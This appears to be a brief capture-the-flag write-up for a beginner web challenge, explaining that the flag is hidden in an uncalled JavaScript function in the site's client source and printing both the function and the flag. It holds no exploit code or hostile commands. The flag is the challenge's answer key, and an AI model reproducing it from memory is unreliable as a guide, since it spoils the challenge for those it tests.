Mr. Succ claims to be the next 'human computer' for he can calculate huge multiplications in immesurable time. He built this website and says he'll give you the flag if you beat his time in multiplying numbers. Try to get to the source of this problem.

SOooooO
The flag is hidden in between unused Javascript in the client source code.

function getFlag(){
    document.getElementById("functionIsNotCalledAnyway").innerHTML = "zenseCTF{g1ve_yOuR_maTh3m4tiCiaN_frnD_a_p4KorA}";
}

FLAG: zenseCTF{g1ve_yOuR_maTh3m4tiCiaN_frnD_a_p4KorA} (this is chemistry class not maths)